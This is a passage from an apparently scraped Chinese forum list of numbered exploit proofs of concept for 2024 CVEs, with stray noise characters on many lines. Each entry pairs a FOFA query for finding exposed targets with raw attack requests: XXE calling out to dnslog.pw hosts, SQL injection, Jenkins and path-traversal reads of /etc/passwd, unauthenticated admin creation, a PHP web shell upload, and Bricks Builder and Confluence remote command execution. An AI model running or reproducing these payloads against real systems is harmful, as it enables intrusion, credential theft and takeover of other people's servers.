" b& d# O3 a) ?9 x; w, DUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
) O3 r, X' s4 P: P& IContent-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
9 U+ e# B7 _. _<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
% G0 x- O5 V( k) T% `4 Z, V
* [. p! `9 M9 L+ O# Q* @
' ]+ j5 j6 C# w( t3 g4 l5 p104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
FOFA：title="TOTOLINK"
5 b0 I! S4 @& ePOST /cgi-bin/cstecgi.cgi HTTP/1.1
6 y1 d, U. d& |+ X' OHost:192.168.0.1
# i( S( B( g0 Q* f6 ?' F' ~Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
$ N1 r0 f. u8 ], GX-Requested-with: XMLHttpRequest
; Y* C5 n5 |. P' QUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
: Z  G$ U+ k: r/ [, I7 P5 `Content-Type: application/x-www-form-urlencoded:charset=UTF-8
/ T; _6 K0 @" ?( }8 m; dOrigin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
0 u( ?( U% H2 Q, X& CAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close
* R3 Z; `- l, I4 p
{
"topicurl":"getSysStatusCfg",
% g/ A9 ]5 K# U9 e: m"token":""
0 I1 [: o5 i& t( t9 b( }}

105. SpringBlade v3.2.0 export-user SQL 注入
# Q+ g  y# z! s( H7 I3 s- LFOFA：body="https://bladex.vip"
+ m! ^5 `9 v5 I* B- Z$ n' Lhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

( L( r0 B! X1 d6 P' f* w8 ^; l106. SpringBlade dict-biz/list SQL 注入
5 s% t! E% F, R& Q+ G' ZFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
9 H& ^" Q+ I( J  s8 f( m# t6 qHost: your-ip
  e1 l2 _& @& O$ E" kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% A. y6 d4 B$ [% h3 O, z2 M* vBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
( k3 x( \9 j" T9 L/ GAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

0 k3 ~: W% c. V) U( B, u
+ }4 w2 ~: O% |4 W$ _107. SpringBlade tenant/list SQL 注入
+ l% t  m( Y3 `' O7 r, |, IFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close
8 M+ u5 Z/ ~# z
5 ]- X8 x% P: G1 k  m" L" b5 N5 I* L
108. D-Tale 3.9.0 SSRF
CVE-2024-21642
0 z) E- Y. f6 v+ ^1 DFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
' m; @) i! h3 s* L8 e7 x  DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

& x2 E. [8 ~1 x4 _
8 t7 w6 f" E. R/ D6 F+ r5 k5 {109. Jenkins CLI 任意文件读取
. M9 x% y( A, M' \6 b! J  ICVE-2024-23897
FOFA：header="X-Jenkins"
7 `3 Q1 Q. q( z) S8 OPOST /cli?remoting=false HTTP/1.1
" Q' c6 V- o/ bHost:
Content-type: application/octet-stream
! ~6 a! @! O# S% H! E" ySession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
Content-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
, y3 J- n  K' Q; t' W: h' h1 A
6 |8 l* k5 B6 B# o: K' |4 @! b4 [
4 i+ B- M9 v" PPOST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
Content-Type: application/x-www-form-urlencoded
0 d( g! e( M+ l6 J' u0 M* u; IContent-Length: 0


5 J) U' r& c, A6 R  f- ?, d3 d- mERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
5 N8 Y% k0 \, M4 d' ~[COMMAND]
( O4 G3 ?& t: |  j. lLists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
$ Y6 |* ]) v( h
1 s0 d, x, _& t, P& p
110. Goanywhere MFT 未授权创建管理员
7 v* ]( O7 R7 n  T# d9 n" w; KCVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
, I6 D0 f+ u3 }3 R: qGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
7 a& o$ Q/ _! k3 m# EUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
2 R8 A) S- M3 ?$ g, YAccept: */*
Accept-Language: en
Accept-Encoding: gzip


111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
: e4 `, E( {) m' [GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
' m4 B" t; ?; J, e7 FHost: 192.168.40.130:112
5 o% E/ ~4 ^* i" _. L2 S8 c1 f  I2 e. CUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
( [, B( B* }6 n0 ~* n6 n% V7 A6 _Connection: close
Accept: */*
6 e  e6 b, m7 |7 e+ u/ y% f) dAccept-Language: en
' J4 u& h8 w, J; OAccept-Encoding: gzip
, z+ V, j1 R, a" L  G
* g4 f3 g( I8 b$ |
112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
# d" {0 ]( p6 N! R+ i" K5 g6 BFOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
  w( ~# O# g' M3 E& l) v6 @: jHost: {{Hostname}}
Content-Type: application/json
% D& C) i* X- l3 _. h$ G
* A) T7 X5 b: o' x& m6 O{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


" j3 L* r( d# q8 f' |- o113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
9 u2 f) Z& O; k$ [! J2 |GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
8 w/ a# @+ T3 l" s1 T8 ?User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
% J4 Q$ ^( P! Y5 m, ~Accept: */*
5 s8 J0 b$ c6 hAccept-Language: en
Accept-Encoding: gzip


: T  X( u4 o! c$ B114. WordPress MasterStudy LMS插件 SQL注入
( N- x2 |% V1 \) D* x# O  zFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
( q% P& S$ u: F, F, X$ DGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
$ m& l& J. }! ^- Y, ^; k2 b1 KHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
$ T# {/ P0 a. I2 h4 |" O' N  aAccept-Charset: utf-8
/ `/ M# {: \% E& [Accept-Encoding: gzip, deflate
Connection: close
5 K5 D! j! v& I: H/ v2 S
7 Q0 O/ c1 I, A* V/ E
115. WordPress Bricks Builder <= 1.9.6 RCE
3 o+ [, z6 P" m; j) {1 eCVE-2024-25600
5 T9 ]0 H! ~; J1 f& ]FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
! [0 {; M( F& I" D6 _% hGET / HTTP/1.1
$ p9 _: j( [3 g# z% n4 ]Host: x.x.x.x
4 p) S2 W% q  L& }+ ?3 X# hUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip
* S2 r! B" v0 a4 ^" n
+ V! h/ N: h  A
第二步替换nonce值，执行命令
# X0 ?5 x$ }0 D/ [% o  {POST /wp-json/bricks/v1/render_element HTTP/1.1
% E+ m  m4 |( ]& G4 I0 q! yHost: x.x.x.x
/ R: w% J$ x- ?7 D7 j, \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 356
Content-Type: application/json
Accept-Encoding: gzip

2 k: ?; @$ o- M4 o0 B7 R) L- ^{
  v% A( o1 F0 S; T% Y3 T; \"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
# V) Z# [8 c0 c7 Q: F    "settings": {
      "hasLoop": "true",
      "query": {
: b$ B6 G6 ^. Q: r; d8 x  b        "useQueryEditor": true,
6 Y+ L4 r4 C' P        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
: d2 }) W; c' T- k        "objectType": "post"
      }
    }
4 V5 O0 ?6 J, S- n4 w( e  }
6 b$ l1 N( I$ d8 S}
5 G# K! n2 G; H7 }/ y7 @

  Z8 c+ y4 R5 |- J% F116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
8 r) S- t! a3 A" g2 Z6 yPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
$ y4 I3 N( T5 i) h5 R3 a. @Host:
; L, r3 d! R# g; U( E9 M0 E; Z, [# Y( |Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
( k( e1 N+ g: a
----------767099171
Content-Disposition: form-data; name="action"
2 e3 Q. d( q, oconfiguration_saveconfiguration
4 L9 w  V4 l! j, m----------767099171
7 U* R( i2 N2 z" ?0 OContent-Disposition: form-data; name="form_request"
' L/ w& [% W, H" g0 v3 g1 Pjssupportticket
* \$ a  j8 ^2 Z  q' q# u* R( `----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
8 V( B9 T% N( aContent-Type: image/png
----------767099171--

6 ^& P# e* J, S9 Z7 x& n0 k( P
  V& V2 F1 d! Q117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
- n! l9 u+ h; y5 \Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 w  @, w& d% g$ p6 }+ v- vAccept-Encoding: gzip, deflate, br
1 A+ y. i( [. }3 n- x7 ]Connection: close
! Z* Q: g! Z. T1 f  jUpgrade-Insecure-Requests: 1

5 e0 C* t: c1 V7 S; L
, U. e2 v- [* O& q5 O; u1 K118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
8 ]8 V% `1 o& @3 c2 e, E( UCVE-2024-0939
# ]5 h( f$ y0 Z: n- \. ZFOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
# U% C2 g1 U$ lHost: 192.168.40.130:8443
5 C/ t* p0 Z# WCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
7 a, F6 i4 h7 R: D6 `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 q8 Y, B/ n% w' }" Q3 \Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) v' T$ c! \* q2 d+ V; R3 j! HAccept-Encoding: gzip, deflate
, M! w1 t9 y/ G3 k: UContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
/ ^2 }, S, C- N: V9 RContent-Length: 405
Origin: https://192.168.40.130:8443
7 }+ d; L6 L6 i; J5 _Referer: https://192.168.40.130:8443/Tool/uploadfile.php
7 u; ]+ E, l$ u/ p- _! cUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
! S/ Z8 G" Y; ^$ KSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
0 X; h4 f3 M: G6 c! E; @5 w: cTe: trailers
+ h: j6 _/ K, s* z% ^4 y8 qConnection: close
3 E' g  Y$ g& O4 s: ]* v0 \. G
-----------------------------13979701222747646634037182887
. Z! R# a! T% O, ^Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
/ S( C; J% h( U2 d) K; |! J0 P* v
% @1 E( R$ y7 A, E<?php
1 k4 U: n' p2 h7 f8 Nsystem($_POST["passwd"]);
/ u/ S3 s8 g/ _  b; x3 w?>
: V2 j: [, ]* L) g1 T% r) L0 n-----------------------------13979701222747646634037182887
$ p( q4 E3 u- j: U& F! l' XContent-Disposition: form-data; name="txt_path"

: Z: _/ K, d) E9 C7 S% }$ m9 w3 M# U/home/src.php
-----------------------------13979701222747646634037182887--


访问/home/src.php
8 G. X; w8 z( U
3 B) F( j$ w4 g! G- y2 w& s! U119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
4 @% _4 C, O8 U9 |POST /sysmanage/sysmanageajax.php HTTP/1.11
% J! `9 n+ \! n# b) [7 e# UHost: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
: c% P9 L7 Y7 y7 G" zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
* O7 F4 Y- v. m! P# SContent-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
' J1 T* L4 j5 e9 qSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
% R# l2 R8 k# ~) U" ^0 }X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
  p" B4 k( k6 ~X-Remote-Ip: 1.1.1.1
" K$ v$ w6 }1 G% G; J6 N6 m: ~X-Remote-Addr: 1.1.1.1
Te: trailers
( @  C0 D; `5 HConnection: close

* Y: Z, C+ g' Isrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
1 L  {1 x- a( E  ?
' C2 v& X  g# }; s
: l' w5 S* B. p, F+ v$ h6 G120. 北京百绰智能S40管理平台导入web.php任意文件上传
3 _9 |  x% J- B7 xCVE-2024-1253
2 ^, Z8 A. o( p; z7 dFOFA：title="Smart管理平台"
4 L" R! F( ^& l8 a7 A6 o6 _- j+ ^+ rPOST /useratte/web.php? HTTP/1.1
Host: ip:port
$ s) h4 s8 m+ y1 GCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
7 c1 u& J: w8 N" f8 LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
8 p, F  {) ?) L( _0 M/ F3 }Origin: https://ip:port
. u+ r0 v, M) M1 r, ~Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
/ ?2 v. F! i( G( vSec-Fetch-Dest: document
; K) `' S/ V! w/ OSec-Fetch-Mode: navigate
4 t5 `: t2 B5 y# F. QSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
1 H3 k1 q0 A4 I7 v4 K
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

0 }' n( h% ~/ [9 s2 |0 ^" ~<?php phpinfo()?>
-----------------------------42328904123665875270630079328
. J3 h- L- W( ]. t( [% T0 \, Y' RContent-Disposition: form-data; name="id_type"

* o8 b# _' G  P: @# H% F1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

! k! z7 N& z6 q4 y5 j0 N" U1_radhttp
-----------------------------42328904123665875270630079328
" Q7 h( |. q0 g1 z( h5 V* _7 yContent-Disposition: form-data; name="mode"
. l' k! @% O0 {9 W0 Y
7 I: ]$ i+ m7 Y2 o( ?import
-----------------------------42328904123665875270630079328

" ]$ X) e1 a# Y+ s2 p5 h
文件路径/upload/2.php
1 P+ C' a; Z% z% B8 Q: Z
9 j: ~8 I& g5 ]/ F% B! Q7 |2 C+ V121. 北京百绰智能S42管理平台userattestation.php任意文件上传
/ I1 K/ i5 J8 q* _% iCVE-2024-1918
. n5 I4 ]. H" @- i% ~0 bFOFA：title="Smart管理平台"
& b; K% ^3 h. H( j$ uPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
% J, j  H+ B5 }% j" U6 j0 ^User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% P, L( F2 ~) WAccept-Encoding: gzip, deflate
0 t8 m% l. u8 _- b7 CContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
1 w6 G3 I* ]( I$ X8 A* cContent-Length: 592
5 O" Z- G0 Q: s. iOrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
7 q( o1 _  ~! e2 f& N# b6 H& WSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
/ v% a/ ^: ^+ |# Z3 T& L4 {. I3 P
7 K) I$ ~" m, G& t$ p& i-----------------------------42328904123665875270630079328
: e+ I5 I) E' O4 _) t5 dContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
. Q$ v+ w" p. N! z1 P
  S- U+ C% \8 x5 K, E<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
- [' n% q" v$ B/ S) ~" W! h, ^
1
# C& d: H" j9 N7 x) d# B-----------------------------42328904123665875270630079328
3 g- r, d/ [/ I" @0 i& GContent-Disposition: form-data; name="1_ck"
' w$ m' `9 O- m
9 ?6 F9 B6 y: z7 \1_radhttp
-----------------------------42328904123665875270630079328
% Q' g1 n9 H, QContent-Disposition: form-data; name="hidwel"

set
5 g, _  J; L" A7 r-----------------------------42328904123665875270630079328

, \4 L- g0 n! `9 I9 t6 I' V
boot/web/upload/weblogo/1.php

: n) M" E/ g8 l: p- U, U122. 北京百绰智能s200管理平台/importexport.php sql注入
7 a, r1 }2 {6 K$ t( l* ~CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
# h/ A- X( |. n/ N: r; IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ e3 B# x/ l% g& I9 \$ z4 i! O0 YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
4 p+ H! |( F9 u% o# L6 ?Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
/ a- p/ q) y, |  L# K' U  q/ ISec-Fetch-User: ?1
Te: trailers
Connection: close
, i0 _/ b1 |* z& c/ U/ {3 s. d
* Q( B9 A! {9 w( d" K
123. Atlassian Confluence 模板注入代码执行
! I7 S" L5 P3 o  U9 c" M" ?FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
* i  k( ]8 [" U5 [POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
2 a3 X! A1 q& yAccept-Encoding: gzip, deflate, br
  j0 Y- Z# i' O$ w* A" |Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
: @& c) o2 t( R" i( w* Z' U* bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
6 T, g6 C) Y( N- {& Z) j& |6 N0 G
: L5 A) x3 f: x, g: |+ klabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
, i4 k" E* l, o% x( i

124. 湖南建研工程质量检测系统任意文件上传
0 u2 {  d0 ]' M* k# GFOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
9 Y" T* ^  r: nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
! D& Z/ W' _  [- SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
. E7 V: C" o( [# qAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 K! r" ~) P& m1 k2 ~! |Connection: close
Content-Type: application/x-www-form-urlencoded

: M: X, @. T$ D( mfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>

, ]6 K8 ^( V: A+ Q1 Z4 r
http://192.168.40.130:8282/Scripts/abcgcg.aspx
8 y' |6 x/ u' O+ d) v& V% t: {: p
& j3 {5 V( U. G( d+ E: c! x, Q125. ConnectWise ScreenConnect身份验证绕过
7 u" W' b" d9 hCVE-2024-1709
, t- p7 M9 a& W8 r, K& o# vFOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
/ N: E6 r" @' ^+ n; `
( C" V" _3 n& c; V5 R. C
使用方法
( f; [8 L! l  dpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
; O+ y) l' F% M& u

创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
5 P, V# m3 b3 D2 P1 F; d4 W0 AGET /static/../../../../../etc/passwd HTTP/1.1
/ `2 K1 F1 w  Z2 B4 _" IHost: x.x.x.x
$ k/ P  v5 o/ I; F3 E; `- n# k7 Q  wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
! W' I2 v3 s4 @; x+ V5 ?+ ZConnection: close
Accept: */*
3 t; [' C1 e) H. XAccept-Language: en
Accept-Encoding: gzip
9 t! e, h0 A; t8 L
% V% I$ x1 o* Y3 w( l3 M+ F
- ?7 H1 A* c: ^5 b127. 广联达Linkworks DataExchange.ashx XXE
& @/ X/ j( r+ \% m% |FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
, K; L/ L% @( \0 c- _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
% m! R5 T% V( K2 }4 XConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
$ Z6 z, C" f' o7 s. KPurpose: prefetch
Sec-Purpose: prefetch;prerender

------WebKitFormBoundaryJGgV5l5ta05yAIe0
9 _/ t' v+ s4 m$ z# i" O, k: B( i  kContent-Disposition: form-data;name="SystemName"
4 w# g) @+ |7 w% }# f8 Z5 `
BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
& `3 U  Q( W$ RContent-Type: text/plain

; O% [4 E6 |# z: V1 u0 [  @<?xml version="1.0" encoding="UTF-8"?>
* v1 b0 l9 N5 ~1 s0 r0 D<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
' d# ?+ s% U, a2 |8 r]
>
+ Z0 ~% w+ j& h<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--

' N7 B0 l, R6 k1 s% u( f, r- |

1 a( V% ]8 z3 ?% \" T, z128. Adobe ColdFusion 反序列化
CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
6 k3 S) \& ]4 P0 a+ P5 O' uFOFA：app="Adobe-ColdFusion"
PAYLOAD
7 o8 e; P" B$ w' @5 n
129. Adobe ColdFusion 任意文件读取
: c% _( H0 _2 t$ v/ rCVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
4 [0 P5 c" C4 K: T2 l第一步，获取uuid
